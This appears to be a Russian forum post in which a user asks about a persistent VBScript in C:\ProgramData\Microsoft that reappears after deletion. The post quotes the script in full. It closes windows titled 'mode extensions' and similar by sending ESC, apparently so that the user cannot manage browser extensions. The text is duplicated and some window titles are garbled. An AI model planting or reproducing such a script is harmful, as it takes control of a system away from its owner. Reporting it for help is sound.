pyrexturnmeup
Новый пользователь
- Сообщения
 - 33
 
- Реакции
 - 4
 
находится в пути C:\ProgramData\Microsoft
код:
Set wshShell = CreateObject("WScript.Shell")
startTime = Now
doWhileTimeout = 7 / 86400
Do While Now - startTime < doWhileTimeout
If wshShell.AppActivate("mode extensions") or wshShell.AppActivate("������������") or wshShell.AppActivate("����������") Then
wshShell.SendKeys "{ESC}"
End If
WScript.Sleep 10
Loop
If Now - startTime >= doWhileTimeout Then
WScript.Quit
End If
если удалить, то появляется заново после перезапуска
	
		
			
		
		
	
				
			код:
Set wshShell = CreateObject("WScript.Shell")
startTime = Now
doWhileTimeout = 7 / 86400
Do While Now - startTime < doWhileTimeout
If wshShell.AppActivate("mode extensions") or wshShell.AppActivate("������������") or wshShell.AppActivate("����������") Then
wshShell.SendKeys "{ESC}"
End If
WScript.Sleep 10
Loop
If Now - startTime >= doWhileTimeout Then
WScript.Quit
End If
если удалить, то появляется заново после перезапуска
